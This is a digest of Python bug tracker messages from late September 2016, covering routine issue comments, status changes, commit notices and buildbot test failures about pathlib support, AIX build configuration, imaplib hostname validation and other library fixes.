In-Reply-To: <1474684600.08.0.523173866083.issue28264@psf.upfronthosting.co.za>
Message-ID: <1475260574.55.0.605483599967.issue28264@psf.upfronthosting.co.za>


Terry J. Reedy added the comment:

3.4 only gets security patches.  I cannot reproduce in 3.5.2 or 3.6.0b1 on Win  10.  Left click always moves the turtle whether or not stamp is activated.  Until problem is verified in a current release, we will have to assume it has been fixed by a turtle or tkinter patch in 3.5.

----------
nosy: +terry.reedy
title: Python 3.4.4 Turtle library - Turtle.onclick events blocked by Turtle.stamp -> Turtle.onclick events blocked by Turtle.stamp

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28264>
_______________________________________

From report at bugs.python.org  Fri Sep 30 14:43:00 2016
From: report at bugs.python.org (Ethan Furman)
Date: Fri, 30 Sep 2016 18:43:00 +0000
Subject: [issue28228] imghdr does not support pathlib
In-Reply-To: <1474489313.4.0.716838576472.issue28228@psf.upfronthosting.co.za>
Message-ID: <1475260980.91.0.811771784135.issue28228@psf.upfronthosting.co.za>


Ethan Furman added the comment:

Berker, yes please.  I just got back from vacation.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28228>
_______________________________________

From report at bugs.python.org  Fri Sep 30 14:43:59 2016
From: report at bugs.python.org (Terry J. Reedy)
Date: Fri, 30 Sep 2016 18:43:59 +0000
Subject: [issue28287] Refactor subprocess.Popen to let a subclass handle IO
 asynchronously
In-Reply-To: <1474986403.83.0.165864194914.issue28287@psf.upfronthosting.co.za>
Message-ID: <1475261039.3.0.624002447599.issue28287@psf.upfronthosting.co.za>


Changes by Terry J. Reedy <tjreedy at udel.edu>:


----------
nosy: +yselivanov

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28287>
_______________________________________

From report at bugs.python.org  Fri Sep 30 14:44:38 2016
From: report at bugs.python.org (Terry J. Reedy)
Date: Fri, 30 Sep 2016 18:44:38 +0000
Subject: [issue28287] Refactor subprocess.Popen to let a subclass handle IO
 asynchronously
In-Reply-To: <1474986403.83.0.165864194914.issue28287@psf.upfronthosting.co.za>
Message-ID: <1475261078.32.0.359313011246.issue28287@psf.upfronthosting.co.za>


Changes by Terry J. Reedy <tjreedy at udel.edu>:


----------
versions: +Python 3.7 -Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28287>
_______________________________________

From report at bugs.python.org  Fri Sep 30 14:45:35 2016
From: report at bugs.python.org (David Edelsohn)
Date: Fri, 30 Sep 2016 18:45:35 +0000
Subject: [issue18235] _sysconfigdata.py wrong on AIX installations
In-Reply-To: <1371429201.94.0.372851990361.issue18235@psf.upfronthosting.co.za>
Message-ID: <1475261135.67.0.426883320597.issue18235@psf.upfronthosting.co.za>


David Edelsohn added the comment:

Michael,

Are you suggesting to move the code fragment *AND* revert or change the reversal of LDSHARED?  The Python code seems to be setting and reversing the value in multiple places.

This also relates to Issue25825.

Repeatedly flipping this around is not making progress.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue18235>
_______________________________________

From report at bugs.python.org  Fri Sep 30 15:07:08 2016
From: report at bugs.python.org (Terry J. Reedy)
Date: Fri, 30 Sep 2016 19:07:08 +0000
Subject: [issue28315] incorrect "in ?" output in 'divide' example at "Defining
 Clean-up Actions" in tutorial
In-Reply-To: <1475194645.41.0.947079052008.issue28315@psf.upfronthosting.co.za>
Message-ID: <1475262428.77.0.770688401115.issue28315@psf.upfronthosting.co.za>


Changes by Terry J. Reedy <tjreedy at udel.edu>:


----------
assignee: docs at python -> terry.reedy
nosy: +terry.reedy
stage:  -> commit review
versions: +Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28315>
_______________________________________

From report at bugs.python.org  Fri Sep 30 15:51:29 2016
From: report at bugs.python.org (Terry J. Reedy)
Date: Fri, 30 Sep 2016 19:51:29 +0000
Subject: [issue28315] incorrect "in ?" output in 'divide' example at "Defining
 Clean-up Actions" in tutorial
In-Reply-To: <1475194645.41.0.947079052008.issue28315@psf.upfronthosting.co.za>
Message-ID: <1475265089.96.0.607146621934.issue28315@psf.upfronthosting.co.za>


Terry J. Reedy added the comment:

Pushed to all 4 versions in ce57a74b5223, 1bead1f0260f, c729a62d4ec5, and 89cc2a6b64aa, but I gave issue # as 28815 instead of 28315.  Thanks for the clean patch for 3.5.  It mostly worked for 2.7, which also had an additional item not in 3.5.

The only other file in /Doc with 'in ?' is Doc/includes/test.py, which is mostly a doctest docstring.  The test obviously have not been run for years and the directory puzzles me, so I left it alone.

----------
resolution:  -> fixed
stage: commit review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28315>
_______________________________________

From report at bugs.python.org  Fri Sep 30 16:44:52 2016
From: report at bugs.python.org (Maciej Szulik)
Date: Fri, 30 Sep 2016 20:44:52 +0000
Subject: [issue25591] refactor imaplib tests
In-Reply-To: <1447107407.81.0.130095933409.issue25591@psf.upfronthosting.co.za>
Message-ID: <1475268292.74.0.783670389611.issue25591@psf.upfronthosting.co.za>


Maciej Szulik added the comment:

David I apologize for 2 emails from Reitveld, for some reason it didn't show me all in one view :/ (I need to master Reitveld better). I've just updated patch according to your comments.

----------
Added file: http://bugs.python.org/file44896/new_imap_tests_v5.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25591>
_______________________________________

From report at bugs.python.org  Fri Sep 30 16:59:42 2016
From: report at bugs.python.org (Maciej Szulik)
Date: Fri, 30 Sep 2016 20:59:42 +0000
Subject: [issue28320] Hostname validation is False by default in imaplib
Message-ID: <1475269182.78.0.632593451926.issue28320@psf.upfronthosting.co.za>


New submission from Maciej Szulik:

According to David [1] hostname validation should be True by default for the imaplib, my tests clearly show something different. Additionally he states you Christian were doing so, that's why I'm opening this not to forget about the problem and discuss eventually what should happen.


[1] http://bugs.python.org/review/25591/diff/16398/Lib/test/test_imaplib.py#newcode451

----------
assignee: christian.heimes
components: email
messages: 277772
nosy: barry, christian.heimes, maciej.szulik, r.david.murray
priority: normal
severity: normal
stage: needs patch
status: open
title: Hostname validation is False by default in imaplib
type: security
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28320>
_______________________________________

From report at bugs.python.org  Fri Sep 30 17:52:50 2016
From: report at bugs.python.org (Roundup Robot)
Date: Fri, 30 Sep 2016 21:52:50 +0000
Subject: [issue28226] compileall does not support pathlib
In-Reply-To: <1474828401.93.0.0387721532951.issue28226@psf.upfronthosting.co.za>
Message-ID: <20160930215247.85616.46815.C867D9BA@psf.io>


Roundup Robot added the comment:

New changeset a6f0cc1820f4 by Berker Peksag in branch '3.6':
Issue #28226: compileall now supports pathlib
https://hg.python.org/cpython/rev/a6f0cc1820f4

New changeset fcce24bc9416 by Berker Peksag in branch 'default':
Issue #28226: Merge from 3.6
https://hg.python.org/cpython/rev/fcce24bc9416

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28226>
_______________________________________

From report at bugs.python.org  Fri Sep 30 17:54:06 2016
From: report at bugs.python.org (Berker Peksag)
Date: Fri, 30 Sep 2016 21:54:06 +0000
Subject: [issue28226] compileall does not support pathlib
In-Reply-To: <1474828401.93.0.0387721532951.issue28226@psf.upfronthosting.co.za>
Message-ID: <1475272446.82.0.374025220256.issue28226@psf.upfronthosting.co.za>


Berker Peksag added the comment:

I found a similar problem in compile_dir() and fixed it in the commit.

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28226>
_______________________________________

From report at bugs.python.org  Fri Sep 30 18:08:16 2016
From: report at bugs.python.org (Ethan Furman)
Date: Fri, 30 Sep 2016 22:08:16 +0000
Subject: [issue28226] compileall does not support pathlib
In-Reply-To: <1474828401.93.0.0387721532951.issue28226@psf.upfronthosting.co.za>
Message-ID: <1475273296.94.0.637747025593.issue28226@psf.upfronthosting.co.za>


Ethan Furman added the comment:

Thanks, Berker Peksag!

----------
assignee: ethan.furman -> 

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28226>
_______________________________________

From report at bugs.python.org  Fri Sep 30 18:13:02 2016
From: report at bugs.python.org (Brett Cannon)
Date: Fri, 30 Sep 2016 22:13:02 +0000
Subject: [issue28228] imghdr does not support pathlib
In-Reply-To: <1474489313.4.0.716838576472.issue28228@psf.upfronthosting.co.za>
Message-ID: <1475273582.18.0.18337354256.issue28228@psf.upfronthosting.co.za>


Brett Cannon added the comment:

Berker, your patch LGTM

----------
assignee:  -> berker.peksag

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28228>
_______________________________________

From report at bugs.python.org  Fri Sep 30 18:16:06 2016
From: report at bugs.python.org (Berker Peksag)
Date: Fri, 30 Sep 2016 22:16:06 +0000
Subject: [issue28226] compileall does not support pathlib
In-Reply-To: <1474828401.93.0.0387721532951.issue28226@psf.upfronthosting.co.za>
Message-ID: <1475273766.19.0.0521287156898.issue28226@psf.upfronthosting.co.za>


Berker Peksag added the comment:

Windows buildbots didn't like a6f0cc1820f4 :) Fix is incoming.

======================================================================
FAIL: test_compile_dir_pathlike (test.test_compileall.CompileallTests)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "D:\buildarea\3.6.ware-win81-release\build\lib\test\test_compileall.py", line 161, in test_compile_dir_pathlike
    self.assertIn("Listing '{}'...".format(self.directory), stdout.getvalue())
AssertionError: "Listing 'D:\\temp\\tmpuziqv_kw'..." not found in "Listing 'D:\\\\temp\\\\tmpuziqv_kw'...\nListing 'D:\\\\temp\\\\tmpuziqv_kw\\\\_subdir'...\nCompiling 'D:\\\\temp\\\\tmpuziqv_kw\\\\_subdir\\\\_test3.py'...\nCompiling 'D:\\\\temp\\\\tmpuziqv_kw\\\\_test.py'...\nCompiling 'D:\\\\temp\\\\tmpuziqv_kw\\\\_test2.py'...\n"

======================================================================
FAIL: test_compile_file_pathlike (test.test_compileall.CompileallTests)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "D:\buildarea\3.6.ware-win81-release\build\lib\test\test_compileall.py", line 111, in test_compile_file_pathlike
    "Compiling '{}'...\n".format(self.source_path))
AssertionError: "Compiling 'D:\\\\temp\\\\tmpqvjkm0fm\\\\_test.py'...\n" != "Compiling 'D:\\temp\\tmpqvjkm0fm\\_test.py'...\n"
- Compiling 'D:\\temp\\tmpqvjkm0fm\\_test.py'...
?              -     -            -
+ Compiling 'D:\temp\tmpqvjkm0fm\_test.py'...

----------
status: closed -> open

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28226>
_______________________________________

From report at bugs.python.org  Fri Sep 30 18:17:52 2016
From: report at bugs.python.org (Roundup Robot)
Date: Fri, 30 Sep 2016 22:17:52 +0000
Subject: [issue28319] typo in lzma module documentation
In-Reply-To: <1475259009.88.0.349229961864.issue28319@psf.upfronthosting.co.za>
Message-ID: <20160930221749.17589.61018.B7097805@psf.io>


Roundup Robot added the comment:

New changeset 258436eecb51 by Berker Peksag in branch '3.5':
Issue #28319: Fix typo in lzma.rst
https://hg.python.org/cpython/rev/258436eecb51

New changeset a1e7c9d249ed by Berker Peksag in branch '3.6':
Issue #28319: Merge from 3.5
https://hg.python.org/cpython/rev/a1e7c9d249ed

New changeset 40bcf4a8b57d by Berker Peksag in branch 'default':
Issue #28319: Merge from 3.6
https://hg.python.org/cpython/rev/40bcf4a8b57d

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28319>
_______________________________________

From report at bugs.python.org  Fri Sep 30 18:18:25 2016
From: report at bugs.python.org (Berker Peksag)
Date: Fri, 30 Sep 2016 22:18:25 +0000
Subject: [issue28319] typo in lzma module documentation
In-Reply-To: <1475259009.88.0.349229961864.issue28319@psf.upfronthosting.co.za>
Message-ID: <1475273905.27.0.482422962594.issue28319@psf.upfronthosting.co.za>


Berker Peksag added the comment:

Thanks for the report!

----------
nosy: +berker.peksag
resolution:  -> fixed
stage:  -> resolved
status: open -> closed
versions: +Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28319>
_______________________________________

From report at bugs.python.org  Fri Sep 30 18:18:31 2016
From: report at bugs.python.org (Berker Peksag)
Date: Fri, 30 Sep 2016 22:18:31 +0000
Subject: [issue28319] typo in lzma module documentation
In-Reply-To: <1475259009.88.0.349229961864.issue28319@psf.upfronthosting.co.za>
Message-ID: <1475273911.02.0.439134360098.issue28319@psf.upfronthosting.co.za>


Changes by Berker Peksag <berker.peksag at gmail.com>:


----------
type:  -> behavior

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28319>
_______________________________________

From report at bugs.python.org  Fri Sep 30 18:33:14 2016
From: report at bugs.python.org (Michael Felt)
Date: Fri, 30 Sep 2016 22:33:14 +0000
Subject: [issue18235] _sysconfigdata.py wrong on AIX installations
In-Reply-To: <1371429201.94.0.372851990361.issue18235@psf.upfronthosting.co.za>
Message-ID: <1475274794.97.0.388809622755.issue18235@psf.upfronthosting.co.za>


Michael Felt added the comment:

I am not suggesting anything. I am only trying to report what I experience.

The first observation was that I could not build python when src != build directory. I believe that was the original complaint as well.

The second observation came when I tried to use pip install, and also make of the mercurial "addition". That module consistently failed until I editted, manually, the _sysconf*.py file to make LDwhatever the same as LDCXXwhatever.

With study I  could figure out what they stand for - I would guess they are related, if not derived from, to some "autotool" conventions.

To be honest, I do not understand what is meant by "flipping", so I am neither for nor against.

For me to test a patch - which I am very willing to do - I would be grateful for the mercurial command(s) to test it normally (now that I finally have it working - I figured out how to make the SSL part work this evening).

In short, please do not shoot me, the messenger :)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue18235>
_______________________________________

From report at bugs.python.org  Fri Sep 30 18:57:38 2016
From: report at bugs.python.org (kuglee)
Date: Fri, 30 Sep 2016 22:57:38 +0000
Subject: [issue28321] Plistlib: Half of the double width characters are
 missing when writing binary plist
Message-ID: <1475276258.41.0.817705927799.issue28321@psf.upfronthosting.co.za>


Changes by kuglee <kuglee at gmail.com>:


----------
components: Library (Lib)
files: input.plist
nosy: kuglee
priority: normal
severity: normal
status: open
title: Plistlib: Half of the double width characters are missing when writing binary plist
type: behavior
versions: Python 3.5
Added file: http://bugs.python.org/file44897/input.plist

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28321>
_______________________________________

From report at bugs.python.org  Fri Sep 30 18:58:04 2016
From: report at bugs.python.org (kuglee)
Date: Fri, 30 Sep 2016 22:58:04 +0000
Subject: [issue28321] Plistlib: Half of the double width characters are
 missing when writing binary plist
Message-ID: <1475276284.7.0.315308948462.issue28321@psf.upfronthosting.co.za>


Changes by kuglee <kuglee at gmail.com>:


Added file: http://bugs.python.org/file44898/output.plist

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28321>
_______________________________________

From report at bugs.python.org  Fri Sep 30 19:01:24 2016
From: report at bugs.python.org (kuglee)
Date: Fri, 30 Sep 2016 23:01:24 +0000
Subject: [issue28321] Plistlib: Half of the double width characters are
 missing when writing binary plist
Message-ID: <1475276484.39.0.492967421117.issue28321@psf.upfronthosting.co.za>


New submission from kuglee:

I read an emoji character from a plist file. The emoji printed correctly to stdout. However when I dump the file to a binary plist only the half of the emoji was present.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28321>
_______________________________________

From report at bugs.python.org  Fri Sep 30 19:10:24 2016
From: report at bugs.python.org (Guido van Rossum)
Date: Fri, 30 Sep 2016 23:10:24 +0000
Subject: [issue28294] HTTPServer server.py assumes sys.stderr != None
In-Reply-To: <1475046504.95.0.666561329413.issue28294@psf.upfronthosting.co.za>
Message-ID: <1475277024.26.0.940713929986.issue28294@psf.upfronthosting.co.za>


Guido van Rossum added the comment:

I wonder if we shouldn't close this as "won't fix" and tell the OP to override the log_message() method. It's kind of curious to complain about *this* dependency on sys.stderr existing and working, since there are probably 1000s of other places in the stdlib that also depend on that.

----------
nosy: +gvanrossum

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28294>
_______________________________________

From report at bugs.python.org  Fri Sep 30 19:13:31 2016
From: report at bugs.python.org (David Edelsohn)
Date: Fri, 30 Sep 2016 23:13:31 +0000
Subject: [issue18235] _sysconfigdata.py wrong on AIX installations
In-Reply-To: <1371429201.94.0.372851990361.issue18235@psf.upfronthosting.co.za>
Message-ID: <1475277211.21.0.73477145155.issue18235@psf.upfronthosting.co.za>


David Edelsohn added the comment:

Michael Felt,

The patch was from Michael Haubenwallner.  I was addressing Michael Haubenwallner.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue18235>
_______________________________________

From report at bugs.python.org  Fri Sep 30 19:42:56 2016
From: report at bugs.python.org (Roundup Robot)
Date: Fri, 30 Sep 2016 23:42:56 +0000
Subject: [issue28226] compileall does not support pathlib
In-Reply-To: <1474828401.93.0.0387721532951.issue28226@psf.upfronthosting.co.za>
Message-ID: <20160930234253.20251.3161.397EBA47@psf.io>


Roundup Robot added the comment:

New changeset 13cd90bdcfbe by Berker Peksag in branch '3.6':
Issue #28226: Fix test_compileall on Windows
https://hg.python.org/cpython/rev/13cd90bdcfbe

New changeset ff80d77200ed by Berker Peksag in branch 'default':
Issue #28226: Merge from 3.6
https://hg.python.org/cpython/rev/ff80d77200ed

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28226>
_______________________________________

From report at bugs.python.org  Fri Sep 30 20:02:51 2016
From: report at bugs.python.org (Berker Peksag)
Date: Sat, 01 Oct 2016 00:02:51 +0000
Subject: [issue10415] readline.insert_text documentation incomplete
In-Reply-To: <1289718734.94.0.0887962692453.issue10415@psf.upfronthosting.co.za>
Message-ID: <1475280171.44.0.964286482349.issue10415@psf.upfronthosting.co.za>


Berker Peksag added the comment:

I agree with Martin. Closing this as 'out of date' for now, but we can reopen if you could provide more information. Thanks!

----------
resolution:  -> out of date
stage: needs patch -> resolved
status: pending -> closed
type:  -> behavior

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue10415>
_______________________________________

From report at bugs.python.org  Fri Sep 30 21:09:49 2016
From: report at bugs.python.org (Berker Peksag)
Date: Sat, 01 Oct 2016 01:09:49 +0000
Subject: [issue28226] compileall does not support pathlib
In-Reply-To: <1474828401.93.0.0387721532951.issue28226@psf.upfronthosting.co.za>
Message-ID: <1475284189.68.0.948655268319.issue28226@psf.upfronthosting.co.za>


Changes by Berker Peksag <berker.peksag at gmail.com>:


----------
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28226>
_______________________________________

From report at bugs.python.org  Fri Sep 30 21:15:53 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sat, 01 Oct 2016 01:15:53 +0000
Subject: [issue28283] test_sock_connect_sock_write_race() of
 test.test_asyncio.test_selector_events fails randomly on FreeBSD
In-Reply-To: <1474958064.43.0.517604300062.issue28283@psf.upfronthosting.co.za>
Message-ID: <20161001011547.15637.91800.D2251BAA@psf.io>


Roundup Robot added the comment:

New changeset f7688db81753 by Berker Peksag in branch '3.5':
Issue #28283: Remove flaky test test_sock_connect_sock_write_race again
https://hg.python.org/cpython/rev/f7688db81753

New changeset 0fe04467c4b5 by Berker Peksag in branch '3.6':
Issue #28283: Merge from 3.5
https://hg.python.org/cpython/rev/0fe04467c4b5

New changeset 4ba2f6bce7f4 by Berker Peksag in branch 'default':
Issue #28283: Merge from 3.6
https://hg.python.org/cpython/rev/4ba2f6bce7f4

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28283>
_______________________________________

From report at bugs.python.org  Fri Sep 30 21:23:40 2016
From: report at bugs.python.org (Steve Dower)
Date: Sat, 01 Oct 2016 01:23:40 +0000
Subject: [issue28259] Ctypes bug windows
In-Reply-To: <1474647946.24.0.533944480109.issue28259@psf.upfronthosting.co.za>
Message-ID: <1475285020.35.0.130555499158.issue28259@psf.upfronthosting.co.za>


Steve Dower added the comment:

You keep removing the Windows component - is this not actually a bug on Windows?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28259>
_______________________________________

From report at bugs.python.org  Fri Sep 30 22:00:15 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sat, 01 Oct 2016 02:00:15 +0000
Subject: [issue28228] imghdr does not support pathlib
In-Reply-To: <1474489313.4.0.716838576472.issue28228@psf.upfronthosting.co.za>
Message-ID: <20161001020012.1506.2277.55F8FDC8@psf.io>


Roundup Robot added the comment:

New changeset 929e3adefe7a by Berker Peksag in branch '3.6':
Issue #28228: imghdr now supports pathlib
https://hg.python.org/cpython/rev/929e3adefe7a

New changeset 013b3b5d3b6c by Berker Peksag in branch 'default':
Issue #28228: Merge from 3.6
https://hg.python.org/cpython/rev/013b3b5d3b6c

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28228>
_______________________________________

From report at bugs.python.org  Fri Sep 30 22:06:52 2016
From: report at bugs.python.org (Berker Peksag)
Date: Sat, 01 Oct 2016 02:06:52 +0000
Subject: [issue27511] Add PathLike objects support to BZ2File
In-Reply-To: <1468487196.41.0.384134655138.issue27511@psf.upfronthosting.co.za>
Message-ID: <1475287612.48.0.976631411307.issue27511@psf.upfronthosting.co.za>


Changes by Berker Peksag <berker.peksag at gmail.com>:


----------
resolution:  -> duplicate
stage:  -> resolved
status: open -> closed
superseder:  -> bz2 does not support pathlib

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27511>
_______________________________________

From report at bugs.python.org  Fri Sep 30 22:08:57 2016
From: report at bugs.python.org (Berker Peksag)
Date: Sat, 01 Oct 2016 02:08:57 +0000
Subject: [issue28228] imghdr does not support pathlib
In-Reply-To: <1474489313.4.0.716838576472.issue28228@psf.upfronthosting.co.za>
Message-ID: <1475287737.12.0.0664673655771.issue28228@psf.upfronthosting.co.za>


Berker Peksag added the comment:

Thanks for the review, Brett!

The next target is gzip module. Thanks for the all patches Ethan :)

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed
type: enhancement -> behavior

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28228>
_______________________________________

From report at bugs.python.org  Fri Sep 30 22:09:07 2016
From: report at bugs.python.org (Berker Peksag)
Date: Sat, 01 Oct 2016 02:09:07 +0000
Subject: [issue28227] gzip does not support pathlib
In-Reply-To: <1474446973.31.0.180513637528.issue28227@psf.upfronthosting.co.za>
Message-ID: <1475287747.96.0.320511531351.issue28227@psf.upfronthosting.co.za>


Changes by Berker Peksag <berker.peksag at gmail.com>:


----------
nosy: +berker.peksag

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28227>
_______________________________________

From report at bugs.python.org  Fri Sep 30 22:09:27 2016
From: report at bugs.python.org (Berker Peksag)
Date: Sat, 01 Oct 2016 02:09:27 +0000
Subject: [issue28225] bz2 does not support pathlib
In-Reply-To: <1474443304.08.0.670640094883.issue28225@psf.upfronthosting.co.za>
Message-ID: <1475287767.77.0.613607897623.issue28225@psf.upfronthosting.co.za>


Changes by Berker Peksag <berker.peksag at gmail.com>:


----------
nosy: +berker.peksag

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28225>
_______________________________________

From report at bugs.python.org  Fri Sep 30 22:34:27 2016
From: report at bugs.python.org (Berker Peksag)
Date: Sat, 01 Oct 2016 02:34:27 +0000
Subject: [issue28288] Expose environment variable for Py_Py3kWarningFlag
In-Reply-To: <1474993446.86.0.709676160725.issue28288@psf.upfronthosting.co.za>
Message-ID: <1475289267.42.0.628735747825.issue28288@psf.upfronthosting.co.za>


Berker Peksag added the comment:

Thanks for the patch. I left some comments on Rietveld.

----------
stage: test needed -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28288>
_______________________________________

From report at bugs.python.org  Fri Sep 30 22:58:50 2016
From: report at bugs.python.org (Martin Panter)
Date: Sat, 01 Oct 2016 02:58:50 +0000
Subject: [issue27897] Avoid possible crash in
 pysqlite_connection_create_collation
In-Reply-To: <1472574148.53.0.8247324722.issue27897@psf.upfronthosting.co.za>
Message-ID: <1475290730.77.0.566320890394.issue27897@psf.upfronthosting.co.za>


Martin Panter added the comment:

The test in 2.7 (1aae9b7ff321) seems to cause a Windows 8.1 buildbot to hang in test_sqlite. I deduced this because there is no mention of "test_sqlite" in the test log output, compared to a previous successful test log.

http://buildbot.python.org/all/builders/AMD64%20Windows8.1%20Non-Debug%202.7/builds/474

----------
nosy: +martin.panter

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27897>
_______________________________________

From report at bugs.python.org  Fri Sep 30 23:30:53 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sat, 01 Oct 2016 03:30:53 +0000
Subject: [issue28275] LZMADecompressor.decompress Use After Free
In-Reply-To: <1474864416.3.0.139133662072.issue28275@psf.upfronthosting.co.za>
Message-ID: <20161001033050.79813.97913.6E464F4B@psf.io>


Roundup Robot added the comment:

New changeset 36d37ff6c236 by Martin Panter in branch '3.5':
Issue #28275: Clean up to avoid use-after-free after bzip decompress failure
https://hg.python.org/cpython/rev/36d37ff6c236

New changeset dca18f0ec280 by Martin Panter in branch '3.6':
Issue #28275: Merge bz2 fix from 3.5 into 3.6
https://hg.python.org/cpython/rev/dca18f0ec280

New changeset 35b5f4cc08f4 by Martin Panter in branch 'default':
Issue #28275: Merge bz2 fix from 3.6
https://hg.python.org/cpython/rev/35b5f4cc08f4

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28275>
_______________________________________

From report at bugs.python.org  Fri Sep 30 23:57:15 2016
From: report at bugs.python.org (Martin Panter)
Date: Sat, 01 Oct 2016 03:57:15 +0000
Subject: [issue28276] test_loading.py - false positive result for "def
 test_find" when find_library() is not functional or the (shared) library does
 not exist
In-Reply-To: <1474887883.6.0.275550575314.issue28276@psf.upfronthosting.co.za>
Message-ID: <1475294235.93.0.688224641816.issue28276@psf.upfronthosting.co.za>


Martin Panter added the comment:

Other tests in this file skip the test if libc_name is None. So I think it would make more sense to skip the test rather than fail in test_find(). I.e.

if not found:
    self.skipTest("Could not find c and m libraries")

If you are confident that find_library() will always find libc on AIX, perhaps you can suggest an extra test (or add to an existing test), to first check for the AIX platform, and only then fail if find_library() returned None.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28276>
_______________________________________